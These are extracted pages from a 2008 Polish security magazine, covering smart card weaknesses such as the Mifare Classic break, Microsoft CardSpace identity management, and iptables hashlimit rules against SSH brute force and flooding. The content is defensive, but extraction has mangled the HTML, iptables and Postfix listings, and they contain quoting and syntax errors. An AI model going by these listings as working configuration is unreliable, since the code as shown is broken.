Często producent nie od razu przyznaje
się do luki (co niekoniecznie podyktowane
jest jakąś złą wolą, lecz na przykład
rzeczywistą chęcią zbadania problemu).
Całkiem niedawno wyszedł na światło
dzienne ciekawy przykład.

Sprawa dotyczy bezprzewodowego

systemu bezpieczeństwa Mifare
Classic. System ten jest bardzo
popularny na całym świecie (liczbę
kart na całym świecie szacuje się na
jakieś dwa miliardy). W Polsce został
zaimplementowany na przykład w
Warszawskiej Karcie Miejskiej. Ten
skądinąd stosunkowo innowacyjny – jak
na nasze warunki – program dotyczy
elektronicznego biletu długookresowego.
Nagrany na karcie bilet uaktywnia się po
pierwszym skorzystaniu. Warszawiacy,
wchodząc do środka komunikacji
po raz pierwszy, są zobowiązani do
przystawienia karty do czytnika ukrytego
w kasowniku (lub w bramce metra).
Karta zostaje wtedy aktywowana.
Można oczywiście przedłużyć jej termin
ważności. Nie jest wtedy nawet konieczne
ponowne uaktywnianie systemu. W
trakcie aktywacji termin ważności
karty można spokojnie przeczytać na
wyświetlaczu. Sprawdzić termin ważności
karty można w dowolnym momencie.
Po wygaśnięciu ważności karty może
sobie ona poleżeć w szufladzie, po
czym zostać ponownie załadowana i
uaktywniona.

Wróćmy do dziury. W kwietniu

tego roku niezależni naukowcy
opublikowali raport, który opisywał crack
umożliwiający złamanie algorytmu
szyfrującego. W marcu istnienie luk
bezpieczeństwa potwierdził holenderski
operator systemu Mifare, przyznając
równocześnie, że pierwsze sygnały o
niebezpieczeństwie pojawiły się już pod
koniec zeszłego roku – wraz z różnymi
doniesieniami o udanych atakach na
system. Sam producent nie przyznał, że
luki występują.

Okazało się, że w grudniu 2007 grupa

naukowców na konferencji w Berlinie
przedstawiła dowody, zgodnie z którymi
algorytm szyfrujący da się złamać w kilka
minut i to na zwykłym komputerze. Z kolei
holenderscy naukowcy z Uniwersytetu w

Nijmegen przedstawili metodę, w myśl
której wystarczy przygotować specjalną
tabelkę (opartą na wcześniej już
rozpracowanym algorytmie), dzięki której
klucz bezpieczeństwa można złamać
bez większych trudności. Producent
wprawdzie nie przyznał się bezpośrednio
do istnienia luk bezpieczeństwa, jednak
zapowiedział wprowadzenie nowej,
ulepszonej wersji karty z odmiennymi
(czytaj: lepszymi) mechanizmami
szyfrującymi.

Niedoskonałości mogą leżeć również

po stronie algorytmów szyfrujących
– zwłaszcza, jeżeli korzystamy z nich
niewłaściwie (bądź wybierzemy byle jaką
kartę). Okazuje się, że najpoważniejszym
grzechem producentów kart jest częste
stosowanie oprogramowania, które
nie spełnia wymogów bezpieczeństwa.
Przede wszystkim chodzi o źle
zaprojektowane samo oprogramowanie,
zły dobór algorytmów czy ich
niewłaściwe zaimplementowanie na
karcie. Wreszcie zdarza się często, że
producent tak jakby nie zdawał sobie
sprawy z istnienia jakiejś metody na
złamanie szyfru.

Dużym błędem jest nie tylko

niewłaściwy dobór algorytmu, lecz
przede wszystkim ślepe zaufanie
do bezpieczeństwa określonej
metody. Weźmy na przykład klucz
kryptograficzny ECDSA, który jest
jednym z popularniejszych stosowanych
narzędzi, a przy okazji jest uznawany
za naprawdę bezpieczny. Zdarzyło się
przynajmniej kilka przypadków jego
złamania. W pewnym systemie skupiono
się na zastosowaniu nowoczesnego,
113-bitowego klucza kryptograficznego.
Sam klucz nie zawiódł, przynajmniej nie
bezpośrednio. Włamywacze wykorzystali
fakt, że w trakcie tworzenia systemu nikt
nie pomyślał o zabezpieczeniu samej
komunikacji, która miała formę względnie
otwartą. Włamywacze przechwycili
komunikat z prywatnym kluczem ECC,
dzięki któremu znaleźli luki w systemie i je
z kolei wykorzystali do złamania klucza. Na
zdarzeniu ucierpiał wizerunek firmy znanej
z instalowania systemów zabezpieczeń.
Z tym, że sam algorytm bezpieczeństwa
okazał się naprawdę mocnym
punktem systemu – po prostu w fazie
implementacji pozostawiono znaczne

W Sieci

• http://www.cert.pl,
• http://www.dobreprogramy.pl,
• http://www.idg.pl,
• http://www.securitywortal.pl,
• http://www.heise-online.pl,
• http://http://osnews.pl,
• http://http://securitystandard.pl,
• i wiele, wiele innych.

background image

50

HAKIN9 9/2008

OBRONA

możliwości do dokonania włamania. Sam
klucz może być nie do złamania, trzeba
jednak pamiętać, że oprogramowanie
pracuje na tzw. krytycznym strumieniu
danych, który jest zarazem kluczem
deszyfrującym. Jeżeli nie zabezpieczymy
tego strumienia danych, to kwestia
złamania klucza może być znacznie
ułatwiona. Wniosek: jeżeli zastosujemy
nawet najlepszy algorytm kryptograficzny,
gdzieś musimy posiadać do niego
narzędzia deszyfrujące. Włamywacz
będzie poszukiwał przede wszystkim ich
– chociażby z racji tego, że bezpośrednie
złamanie algorytmu może być albo
niemożliwe, albo być zadaniem dla co
najmniej kilku pokoleń. Stąd tak ważne jest
zabezpieczenie sposobów komunikacji.
Ale tak naprawdę zawsze gdzieś znajduje
się słaby punkt.

Wspomnę również o innej luce, która

wystąpiła nie tyle na samej karcie, co
w technologii jej wykorzystania. Jest to
o tyle konieczne, że karty, które mają
służyć zabezpieczeniu systemu, w tym
przypadku zostały wykorzystane jako
narzędzie do włamania! Były pracownik
Microsoftu, zapewne niezadowolony
ze sposobu zwolnienia, stworzył
narzędzie do fuzzingu (automatycznego
wyszukiwania błędów). Jego zadaniem
jest wyszukiwanie słabych stron w
pluginach dla smart cards służących
do współpracy z Vistą. Znalezienie
słabych miejsc w oprogramowaniu
pozwala nawet na przejęcie kontroli
nad systemem. Za pomocą SCardFuzz
przygotowano programy dla smart
cards, które atakują sterowniki stworzone
przez producentów dla Microsoftu
(te znajdujące się już w systemie).
Atak polega głównie na dostarczeniu
fałszywych, często losowo wybranych
danych dla plug-inów. Fałszywy kod
można zapisać bez żadnych problemów
na karcie i to za pomocą oryginalnego
oprogramowania Java dostarczonego
przez producentów. Twórca narzędzia
wręcz pokusił się o stwierdzenie, że
stworzenie apletu hakerskiego dla kart
nie jest wcale trudne ani skomplikowane.
Oczywiście łatwo to stwierdzić osobie
mającej dostęp do wielu aspektów
zamkniętego kodu, o którym zwykły haker
może jedynie marzyć. Wracając do luki:
wystarczy wsadzić kartę do komputera,

aby móc wybierać procesy systemowe,
a nawet przejąć całkowicie kontrolę nad
komputerem.

W codziennym użytkowaniu kart

trzeba zwracać uwagę na wszelkie
nieprawidłowości. Na przykład
w bankomatach mogą zostać
zainstalowane różnego rodzaju
urządzenia skanujące, które służą
często do znalezienia słabego punktu
w komunikacji. Słabym punktem jest
moment przesyłania komunikatu
identyfikującego do systemu bankowego.
Skopiowanie tego komunikatu nie daje
jeszcze nikomu naszych pieniędzy. Sam
komunikat jest bezwartościowy, ponieważ
nie da się np. złamać jego szyfrowania.
Natomiast wystarczy zdobyć kod PIN i
zostajemy bez pieniążków.

Wrócę do pytania postawionego

w nagłówku. Niestety, nie ma się co
oszukiwać, że istnieją systemy nie
do złamania. Przynajmniej nie wtedy,
gdy mówimy o czymś tworzonym dla
przeciętnego Kowalskiego. Liczba
elementów takiego systemu jest
zazwyczaj na tyle duża, że gdzieś zawsze
trafi się słaby punkt. Co do właściwości
samych kart, to w większości przypadków
nie mamy na nie absolutnie żadnego
wpływu. Kupując kartę kredytową czy
płatniczą, możemy co najwyżej wybrać
pomiędzy Visą lub MasterCard. Nic
nie mam do tych firm, jednak wybór
w tej materii przecież nie jest duży.
W przypadku, kiedy dostajemy kartę
SIM, telefoniczną czy przepustkę do
firmy, również nikt się nas nie pyta o
zabezpieczenia. W tych wszystkich
przypadkach jedyne, co nam pozostaje,
to zdrowy rozsądek, bez którego żadne
zabezpieczenie nie spełni swojej roli.
Karta elektroniczna jest jak klucz do
najlepszych drzwi antywłamaniowych.
Nawet strażacy ich nie sforsują (a
przynajmniej nie przed spaleniem
całego mieszkania). Jeżeli jednak
zgubimy klucze (a, nie daj Boże, wraz
z dokumentami, w których jest adres)
– to tak, jakby w ogóle nie było drzwi.
Zamki w takiej sytuacji należy wymienić
w trybie błyskawicznym. Jeżeli zaś mamy
okazję decydować samodzielnie, z jakiej
karty korzystamy, zwróćmy uwagę na
to, ile zabezpieczeń stosuje karta oraz
czy producent przewiduje możliwość ich

uaktualnienia (co jest ważne szczególnie
w przypadku kart długoterminowych).

Kartę chronimy więc przed zgubieniem,

zaś kodu dostępu strzeżemy niczym dobra
narodowego. Wystrzegamy się kamer
i urządzeń skanujących. Kamer w ten
sposób, że w miarę możliwości zakrywamy
klawiaturę bankomatu ręką (nawet
przed kamerą ochrony, której z definicji
również nie ufamy). Jeżeli na bankomacie
zainstalowane jest jakiekolwiek urządzenie
dodatkowe, coś nietypowego wystaje z
miejsca, gdzie wkładamy karty – jest to
sygnał dla nas, że coś jest nie w porządku
i lepiej poszukać innej ściany do wypłaty
pieniędzy. Przy okazji, jako odpowiedzialny
klient, informujemy bank o naszych
podejrzeniach.

Podobne środki bezpieczeństwa

stosujemy we wszystkich innych
miejscach. Jeżeli karta jest naszą
przepustką, zaś nagle okazuje się, że
terminal przy bramie wejściowej jest jakiś
inny, to radzę się najpierw skontaktować z
ochroną. Lepiej dmuchać na zimne. Może
się później okazać z analizy logów, że
wróciliśmy 15 minut po pracy po to, aby
dokonać aktu szpiegostwa, czy sabotażu
gospodarczego.

Odpowiedź na pytanie, czy karty są

bezpieczne, jest o tyle niejednoznaczna,
że o ile same kawałki plastyku mogą być
naprawdę świetnymi zabezpieczeniami, to
my – jako użytkownicy – często zawalamy
sprawę.

Podsumowanie

Mam nadzieję, że dzięki artykułowi udało
mi się przybliżyć Wam tematykę smart
cards na tyle, że przynajemniej będziecie w
stanie korzystać z nich odpowiedzialnie. Ich
technologia ciągle idzie do przodu i myślę,
że w związku z postępującą miniaturyzacją
możecie spodziewać się po nich jeszcze
wiele nowego, przynajmnij jeżeli chodzi
o wzrost liczby funkcji czy zastosowań.
Zresztą chodzą słuchy, że czeka nas
niedługo – a przynajmniej w najbliższych
latach – wymiana dowodu osobistego na
wersję elektroniczną. Pożyjemy, zobaczymy.

Przemysław Żarnecki

Autor jest dziennikarzem freelancerem. W pracy korzysta

non-stop z elektronicznych form komunikacji, przez co

zwraca uwagę na bezpieczeństwo. Jak każdy, korzysta z

wielu różnych kart.

Kontakt z autorem: p.zarnecki@plusnet.pl

background image
background image

52

OBRONA

HAKIN9 9/2008

C

ykl ten składa się z trzech
podstawowych elementów, na które
składają się usługi:

• Usługi katalogowe, czyli repozytoria

przechowujące informację o tożsamościach i
uwierzytelnienia oraz uprawnienia;

Access management, czyli procesy

weryfikacji uwierzytelnień, kontroli dostępu do
zasobów (w tym przyznawania i odbierania
dostępu) zgodnie z uprawnieniami
stosownymi do roli;

• Identity Lifecycle Management, czyli zestaw

zdefiniowanych procesów tworzenia,
usuwania oraz modyfikacji ustawień kont,
zarządzania zmianami stanu i informacji
o tożsamości wraz z informacją o
uprawnieniach.

Procesy związane z zarządzaniem
tożsamością są powszechnie znane. Wiele
firm stosuje własne rozwiązania, ale z drugiej
strony znaczna liczba organizacji wdraża
gotowe systemy i aplikacje pomagające w
codziennej pracy. W chwili obecnej w wielu
przedsiębiorstwach można nadal napotkać
na problemy związane z zarządzaniem
tożsamością, które mogą powodować ogromny
chaos dla użytkowników. Na czym polega
taki chaos? Ogólnie rzecz biorąc, w każdym
przedsiębiorstwie istnieje więcej niż jeden
system, który wymaga logowania do niego,

ARTUR ŻARSKI

Z ARTYKUŁU

DOWIESZ SIĘ

artykuł przedstawia zagadnienia

związane z zarządzaniem

tożsamością na platformie

Microsoft ze szczególnym

uwzględnieniem CardSpace.

CO POWINIENEŚ

WIEDZIEĆ

nie jest potrzebna żadna

szczegółowa wiedza dotycząca

technologii. Jest to artykuł

wprowadzający w temat

zarządzania tożsamością.

oraz więcej niż jeden użytkownik, który ma
takie, a nie inne uprawnienia. Każdy z tych
użytkowników posiada swoje własne hasło
logowania do takiego systemu, a zatem – im
więcej systemów, tym większa konieczność
pamiętania nazw użytkowników i haseł. Z punktu
widzenia administratorów systemy zarządzające
użytkownikami w sposób zdecentralizowany
również są problematyczne. Co zatem można
zrobić? Czy jest jakaś możliwość, aby omawiany
proces był łatwiejszy, bezpieczniejszy i przede
wszystkim bliższy optymalnemu? Oczywiście, że
jest – kwestia kluczowa to wdrożenie systemu
zarządzania tożsamością.

Systemy zarządzające tożsamością posiadają

wiele funkcji, wśród których można wyróżnić
między innymi:

• Zarządzanie nowym użytkownikiem

– utworzenie konta, utworzenie
uwierzytelnienia, nadanie odpowiednich
praw dostępu;

• Kasowanie – kasowanie lub blokada konta,

kasowanie lub blokada praw dostępu;

• Zarządzanie hasłami – sprawdzanie siły hasła,

reset hasła;

• Zmiany typu konta – awanse, transfery, nowe

przywileje, zmieniające się atrybuty, etc.

Do tego wszystkiego dochodzi stworzenie
metabazy, która będzie te wszystkie informacje
gromadzić i synchronizować pomiędzy różnymi

Stopień trudności

Zarządzanie

tożsamością

Zarządzanie tożsamością jest bardzo szerokim pojęciem,

które posiada wiele definicji. Definicje te można sprowadzić do

stwierdzenia, które mówi, że jest to zestaw technologii i procedur

umożliwiający efektywne zarządzanie cyklem życia tożsamości

użytkownika.

background image

53

ZARZĄDZANIE TOŻSAMOŚCIĄ

HAKIN9

9/2008

systemami, a także będzie posiadać
mechanizm raportowania tego, co się
aktualnie dzieje w systemie.

Na czym polega w takim razie

synchronizacja? Do jej zadań należy

między innymi automatyzacja
zarządzania życiem obiektów
(provisioning oraz deprovisioning),
przepływ danych pomiędzy katalogami,
przechowywanie informacji o relacjach

pomiędzy obiektami odpowiadającymi
tej samej tożsamości, które znajdują
się w różnych katalogach. Proces
synchronizacji zapewnia, że będziemy
posiadać spójne dane w zintegrowanych
katalogach, że podstawowe informacje
będą replikowane do wszystkich
katalogów oraz że dysponujemy
aktualnymi danymi.

Przy opisywaniu procesu

synchronizacji spotykamy dwa nowe
hasła: provisioning oraz proces
odwrotny, czyli deprovisioning.

Pierwsze z tych pojęć to

automatyzacja procesu dostępu do
zasobów, w których użytkownik otrzymuje
swoje własne uprawniania w sposób
zupełnie automatyczny na bazie danych
wejściowych.

Zestaw reguł definiuje, w jakich

repozytoriach i na jakich zasadach
użytkownik powinien mieć dostęp
do zasobów. Provisioning to nie
tylko tworzenie kont, ale również
tworzenie unikalnego loginu i
innych atrybutów, które są zgodne z
zadanymi konwencjami nazewnictwa,
przypisanie do odpowiednich ról
lub grup, do kontenerów zgodnie ze
stanowiskiem, ustawienie i przekazanie
pierwszego hasła dostępowego,
wysłanie wiadomości powitalnej, etc.
Deprovisioning to proces odwrotny.

Przejdźmy zatem do głównego

tematu artykułu, czyli zarządzania
tożsamością przy wykorzystaniu
produktów Microsoft i dokładniejszego
omówienia jednego z nich. Microsoft
w swoim katalogu rozwiązań posiada
wiele produktów lub technologii, które
umożliwiają zarządzanie tożsamością.
W dalszej części tekstu postaram się je
wszystkie przedstawić.

Rysunek 1.

Schemat działania CardSpace

�����������������������������

�����������������������������

������������������������

����������������������������

������������������

������������

���������������������

�������������������������

������������������

����������

��������������

���������������������

�����������

���������������������

���������������������

�����������������

�������������������������������������

����������������������������

������������������������������������

��

��

��

��

���

��

Rysunek 2.

Logowanie do strony przy użyciu CardSpace

Rysunek 3.

CardSpace w Panelu

Sterowanie

background image

OBRONA

54

HAKIN9 9/2008

ZARZĄDZANIE TOŻSAMOŚCIĄ

55

HAKIN9

9/2008

Do rozwiązań związanych z

zarządzaniem tożsamością należą
między innymi:

• Access Control List – lista kontroli

dostępu, skojarzona z plikiem lub
obiektem, zawierająca informacje
o użytkownikach, procesach lub
obiektach, które mogą uzyskiwać do
niego dostęp.

• Active Directory – usługi katalogowe dla

systemu Windows Server;

• ADAM (AD LDS), ADFS – Active

Directory Application Mode oraz
Active Directory Federation Services,
czyli specjalne tryby pracy dla
Active Directory, które nie wymagają
zależności wymaganych w przypadku
usługi katalogowej (np. nie wymagają
wdrażania domen ani kontrolerów
domen);

• CardSpace – omawiany w dalszej

części artykułu;

• Kerberos – protokół, który do

autoryzacji wykorzystuje centrum
dystrybucji kluczy;

• MIIS (Microsoft Identity Integration

Server) – stanowi najważniejszy
komponent w systemach zarządzania
tożsamością. Jest narzędziem,
którego zadaniem jest kontrola
operacji provisioningu nowych
tożsamości i deprovisioningu już
istniejących, zarządzanie hasłami i
synchronizowanie danych pomiędzy
podłączonymi źródłami danych;

• ILM (Identity Lifecycle Manager)

– jest platformą dla synchronizacji
tożsamości, certyfikatów i zarządzania
hasłami oraz użytkowników (następca
MIIS).

• LiveID – Windows Live ID (dawniej

Microsoft Passport lub .NET
Passport) to ogólnodostępny, jednolity

system, umożliwiający dowolnym
użytkownikom (nie tylko klientom
Microsoft) korzystanie ze wszystkich
stron Microsoft wymagających
logowania.

CardSpace

CardSpace to technologia identyfikacji
i zarządzania tożsamością
zaimplementowana w Windows Vista
(dostępna także w Windows XP jako część
.NET Framework 3.0). Poprzednia nazwa
tej technologii to InfoCard. W Cardspace
poszczególni wystawcy tożsamości są
prezentowani użytkownikowi w postaci
kart. Na karcie zapisywane są metadane
reprezentujące możliwości wystawcy

takiej tożsamości. Wśród nich możemy
wyróżnić: rodzaje dostarczanych
stwierdzeń, formaty tokenów, lokalizację
STS. Karta jest reprezentowana przez
dokument XML zawierający metadane
i obrazek podpisany przez wystawcę
przy użyciu XMLDSIG (XML digital
signature). Dokument ten (w postaci pliku
*.crd) stanowi kartę informacyjną (ang.
Information Card), która reprezentuje
relację użytkownika z wystawcą
tożsamości. Istnieją dwa rodzaje kart:

• osobiste – przypominające wizytówki,

mają one kilkanaście pól zawierających
podstawowe dane, karty te tworzy sam
użytkownik,

Listing 1.

Uruchomienie CardSpace w aplikacji ASP.NET 2.0

<

form name=“logon page

" method="

post”

<

object type=

"application/x-informationcard"

name=

"xmlToken"

>

<

param name=

"tokenType"

value=

"urn:oasis:names:tc:SAML:1.0:assertion"

>

<

param name=

"issuer“ value="

http://schemas/.../identity/issuer/self"

>

<

param name=

"requiredClaims"

value=

"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress

http://"

http://schemas/.../identity/claims/privatepersonalidentifier"

>

<

/object

>

<

/form

>

Rysunek 5.

Tworzenie nowej karty

Rysunek 4.

Pusta lista kart

background image

OBRONA

54

HAKIN9 9/2008

ZARZĄDZANIE TOŻSAMOŚCIĄ

55

HAKIN9

9/2008

• zarządzane – wydawane przez

instytucje (np. pracodawcę),
zawierające dowolną liczbę pól, są one
przechowywane na serwerze instytucji,
która je wydała.

Użytkownicy autentykują się do stron
WWW oraz różnych serwisów przez
wybranie z zestawu wirtualnych
identyfikatorów (kart) tej, która identyfikuje
użytkownika. Użytkownik może mieć
kilka kart, które mogą mu służyć do
autoryzacji w różnych serwisach lub
stronach.

Założenia dla CardSpace są

następujące:

• Niezależne od przeglądarki

– zdefiniowane są mechanizmy
wspierające implementację dla
dowolnej przeglądarki i na dowolnej
platformie;

• Niezależne od serwera WWW

– protokoły komunikacyjne wspierane
są przez dowolną stronę WWW oraz
platformę;

• Minimalna ingerencja w stronę WWW –

udogodniona adaptacja mechanizmu
przez minimalne zmiany w istniejącej
stronie;

• Brak stałej integracji z przeglądarką

– obsługa kart ma być plugin’em
do przeglądarki, a nie jej częścią
integralną;

• Praca z przeglądarką przy

wysokim poziomie bezpieczeństwa
– dostarczany mechanizm aktywacji
wyboru pozwala na pracę również
wtedy, gdy przeglądarka ma ustawiony
poziom bezpieczeństwa Wysoki.

Przepływ pracy użytkownika i
poszczególnych elementów systemu
przedstawiony został na Rysunku 1.
Jak widać z tego rysunku, pierwszym
krokiem użytkownika po wejściu na
stronę, która wykorzystuje CardSpace,
jest przejście na stronę logowania. W
momencie, kiedy użytkownik ma się
zalogować do strony, zostaje poproszony
o podanie hasła lub wybór karty
(Rysunek 2). Po wyborze karty przez
użytkownika zostaje ona przekazana
do centrum autoryzacji w celu
potwierdzenia tożsamości. Dzieje się
to zupełnie automatycznie, bez wiedzy
użytkownika.

Jeśli użytkownik zostanie

zweryfikowany poprawnie, otrzymuje
token, którym następnie posługuje się
przeglądarka w komunikacji z wybraną
stroną WWW.

Z punktu widzenia użytkownika

końcowego praca z CardSpace jest
bardzo prosta. Na przykładzie Windows
Vista prześledźmy proces tworzenia
takiej karty. W Panelu Sterowania
znajdujemy opcję odpowiedzialną za

CardSpace (Rysunek 3). Następnie
uruchamiamy tę opcję i dostajemy listę
stworzonych kart. W naszym przypadku
lista jest pusta (Rysunek 4). Wybieramy
opcję Utwórz nową kartę i zostajemy
poproszenie o wybranie rodzaju karty.
Wybieramy karta osobista i wypełniamy
ją danymi (Rysunek 5). Po zapisaniu
danych nasza lista z karatami została
wzbogacona o nowo utworzoną kartę
(Rysunek 6).

We wcześniejszym fragmencie

tekstu dotyczącym założeń napisałem,
że kwestia integracji aplikacji Web z
mechanizmem kart ma być prosta.
Jak zatem wygląda taka integracja?
Generalnie należy dodać fragment
kodu HTML, który będzie odpowiadał
za pokazanie selektora kart. Jest to
jasno zdefiniowany typ aplikacji, który
osadzamy jako obiekt na stronie. Poniżej
fragment kodu HTML odpowiedzialny za
ten proces.

Z punktu widzenia programisty to w

zasadzie wszystko. Ze strony konfiguracji
witryny wymagane jest włączenie protokołu
HTTPS oraz obsługi Extended Validation
dla certyfikatów.

Jeśli chodzi o implementację

InfoCard, to nie tylko Microsoft jest
tutaj dostawcą rozwiązania. Jest
wiele inicjatyw i projektów Open
Source, które również je wspierają.
Są to rozwiązania wspierane między
innymi przez IBM, Novell, Red Hat, Sun,
VeriSign i innych, dla których Microsoft
oferuje pełne wsparcie technologiczne.
Interoperacyjność poprzez opublikowane
w sieci protokoły została pokazana
na przykładzie gotowych rozwiązań,
które służą między innymi do
wyboru identyfikatorów, systemów
sprawdzających tożsamość oraz
dostawców tożsamości. W Internecie
opublikowana jest pełna dokumentacja
dla CardSpace wraz z przykładami
użycia, implementacji, technologii,
protokołów.

Artur Żarski

Jest pracownikiem firmy Microsoft. Na co dzień

zajmuje się m.in. tworzeniem rozwiązań w oparciu

o SQL Server w różnych aspektach – bazy

relacyjne, usługi integracyjne, usługi analityczne.

Jest certyfikowanym administratorem baz danych

(MCDBA).

Kontakt z autorem: arturz@microsoft.com

Rysunek 6.

Nowo utworzona karta na liście kart

background image

56

OBRONA

HAKIN9 9/2008

J

ednym ze znakomitych sposobów
dozbrajania oraz poszerzania
funkcjonalności firewalla jest korzystanie z

łatki hashlimit. Oferowane przez nią możliwości są
ograniczone jedynie wyobraźnią administratora.

Opisane w artykule rozwiązania będą

przedstawiane oraz testowane w rzeczywistym
środowisku, które obsługuje sieć na parę
tysięcy klientów z dostępem do Internetu (lokalny
ISP). Konfigurować będziemy główny router, a
zarazem firewall, który kontroluje ruch internetowy
indywidualnych klientów oraz serwera usługowego
z zainstalowanymi usługami WWW/FTP/mail/
DNS/SSH
i Verlihub.

Bronimy dostępu do SSH

Dostęp do usługi SSH na serwerze usługowym
jest domyślnie blokowany na głównym firewallu.
Stwarza to poważny problem podczas wyjazdu
na wakacje lub weekend. Zdalna praca staje się
wtedy niemożliwa. Usługa SSH blokowana jest
ze względu na irytujące próby włamania przy
wykorzystaniu ataku słownikowego lub brute
force. Oczywiście można zmienić domyślny port
usługi z 22 na jakikolwiek inny. Metoda ta jednak
jest wątpliwie skuteczna, proste skanowanie
serwera z poszukiwaniem banera powitalnego
zdradzi włamywaczowi bardzo szybko nasze
niestandardowe porty. Znacznie skuteczniejszą
metodą jest ograniczenie ilości prób logowania
w założonym przedziale czasu. Próba włamania
zostanie znacząco utrudniona, gdy zezwolimy na

JAROSŁAW

RADZISZEWSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jak utrudnić napastnikowi ataki

typu brute force ,

jak zminimalizować ryzyko

udanego ataku DoS oraz DdoS,

jak chronić sieci przed atakami

flood,

jak wykorzystywać możliwości

hashlimit w iptables.

CO POWINIENEŚ

WIEDZIEĆ

powinieneś umieć pisać reguły

iptables,

powinieneś umieć ze

zrozumieniem sniffować pakiety

w sieci,

powinieneś znać podstawowe

problemy związane z atakami

DoS oraz DdoS.

dwa połączenia na minutę. Użytkownik znający
prawidłową kombinację user/pass zaloguje
się bez przeszkód, natomiast włamywacz
zaopatrzony w skrypt automatycznie generujący
hasła niemalże natychmiast zostanie odcięty
od usługi. Będzie się tak działo, ponieważ nasz
firewall zezwoli jedynie na dwie próby połączenia
z usługą. Po wyczerpaniu limitu dwóch połączeń
musi odczekać minutę w celu przetestowania
kolejnych kombinacji user/pass. Przy nieudanej
próbie sytuacja się powtarza, więc znowu należy
odczekać minutę itd.

Funkcjonalność taka uzyskamy właśnie dzięki

wykorzystaniu łatki na iptables o nazwie hashlimit.

Reguły zapory przedstawione na Listingu 1. w

pierwszej kolejności zezwalają na nowe

(

-m state --state NEW

) połączenia z

portem TCP/22 (domyślny port ssh) tylko raz
na minutę, wszystkie następne połączenia są
logowane, a następnie usuwane. W ten prosty
sposób znacząco ograniczyliśmy włamywaczowi
możliwość testowania kombinacji user/pass do
zdalnej powłoki serwera.

Zabezpieczenie Verlihub

Verlihub to aplikacja tworząca tak zwany
HUB sieci Direct Connect. Użytkownicy przy
pomocy programów klienckich łączą się z
hubem (serwerem), gdzie mogą dyskutować
jak na tradycyjnym czacie oraz wymieniać się
udostępnionymi plikami. Tak więc to nic innego,
jak połączenie wydajnej sieci P2P z funkcjami

Stopień trudności

Hashlimit

Z atakami typu Brute Force mamy do czynienia na codzień.

Zminimalizuj ryzyko udanego ataku Dos oraz Ddos czytając ten

artykuł.

background image

57

HASHLIMIT

HAKIN9

9/2008

czata. Bardzo często użytkownicy hubów
tworzą swoiste społeczności i, jak to bywa,
zdarzają się wszelkiego rodzaju sprzeczki,
które w skrajnych przypadkach kończą
się próbą przejęcia lub wręcz wyłączenia
takiego huba przez osoby do tego nie
uprawnione. Bez względu na pobudki, jeśli
jest możliwość zakłócenia pracy serwera,
można z całą pewnością stwierdzić że
znajdzie się ktoś, kto będzie starał się ją
wykorzystać.

Jedną z metod zakłócenia pracy

huba jest masowe klonowanie nicków
i logowanie się. Następnie takie klony
masowo wysyłają teksty na głównego
czata, który w efekcie zostaje zaśmiecony.
Przy odpowiedniej ilości klonów oraz
wpisywanych tekstów, serwer ma
problem z przetworzeniem takiej ilości
informacji. Dalszy scenariusz jest łatwy do

przewidzenia – hub zostaje przeciążony i
dochodzi do klasycznego DoS, czyli Denial
of Service.

Także i w tym przypadku z pomocą

przyjdzie nam hashlimit.

Reguły iptables przedstawione na

Listingu 2. są, jak widać, nieznaczną
modyfikacją Listingu 1, zmiana
dotyczy oczywiście portu docelowego
– w drugim przykładzie został użyty
domyślny port huba Direct Connect,
czyli TCP/411. Ponadto został zmieniony
limit – tym razem pozwalamy na nowe
połączenie tylko raz na minutę. Należy
jednak wziąć pod uwagę jeden drobny
szczegół – na hubie, którego dotyczy
ta reguła, wszyscy klienci posiadają
publiczne adresy IP. Jeśli filtr ma
dotyczyć huba z użytkownikami, którzy
łączą się za pośrednictwem NAT (ang.

Network Address Translation), należy
zwiększyć limit. Związane jest to z
faktem iż prawdopodobnie na hubie
będzie zalogowany więcej niż jeden
użytkownik z tym samym adresem IP.
W tym przypadku istnieje więc pewne
zagrożenie, że nasz filtr uniemożliwi
zalogowanie się uprawnionemu klientowi.
Oczywiście tylko w przypadku, gdy w
czasie jednej minuty dwóch użytkowników
z tym samym adresem IP będzie starało
się zalogować.

Hashlimit

dla serwera pocztowego

Posiadanie własnego serwera pocztowego
obecnie stało się standardem.
Administrator każdego takiego serwera
nieustannie jest nękany przez spamerów.
Problem dotyczy zarówno ogromnej ilości

Listing 1.

Reguły zapory

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

hashlimit

-

m

tcp

-

p

tcp

--

dport

22

hashlimit

\

2

/

min

--

hashlimit

-

mode

srcip

,

dstip

--

hashlimit

-

name

ssh_limit

-

m

state

--

state

NEW

-

j

ACCEPT

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

tcp

-

p

tcp

--

dport

22

-

m

state

--

state

NEW

\

-

j

LOG

--

log

-

level

info

--

log

-

prefix

"SSH BRUTE attack"

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

tcp

-

p

tcp

--

dport

22

-

m

state

--

state

NEW

-

j

DROP

Listing 2.

Reguły iptables

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

hashlimit

-

m

tcp

-

p

tcp

--

dport

411

hashlimit

\

1

/

min

--

hashlimit

-

mode

srcip

,

dstip

--

hashlimit

-

name

hub_limit

-

m

state

--

state

NEW

-

j

ACCEPT

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

tcp

-

p

tcp

--

dport

411

-

m

state

--

state

NEW

\

-

j

LOG

--

log

-

level

info

--

log

-

prefix

"HUB Flood"

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

tcp

-

p

tcp

--

dport

411

-

m

state

--

state

NEW

-

j

DROP

Listing 3.

Dyrektywy Postfiksa umieszczone w pliku main.cf

smtpd_error_sleep_time

=

3

smtpd_soft_error_limit

=

3

smtpd_hard_error_limit

=

5

Listing 4.

Wpisy w logach serwera Postfix

Jul

27

05

:

36

:

01

sk1

postfix

/

smtpd

[

3369

]:

too

many

errors

after

RCPT

from

unknown

[

211.117

.

157.167

]

Jul

27

05

:

36

:

01

sk1

postfix

/

smtpd

[

3369

]:

disconnect

from

unknown

[

211.117

.

157.167

]

Jul

27

18

:

45

:

03

sk1

postfix

/

smtpd

[

19565

]:

too

many

errors

after

RCPT

from

unknown

[

123.56

.

100.175

]

Jul

27

18

:

45

:

03

sk1

postfix

/

smtpd

[

19565

]:
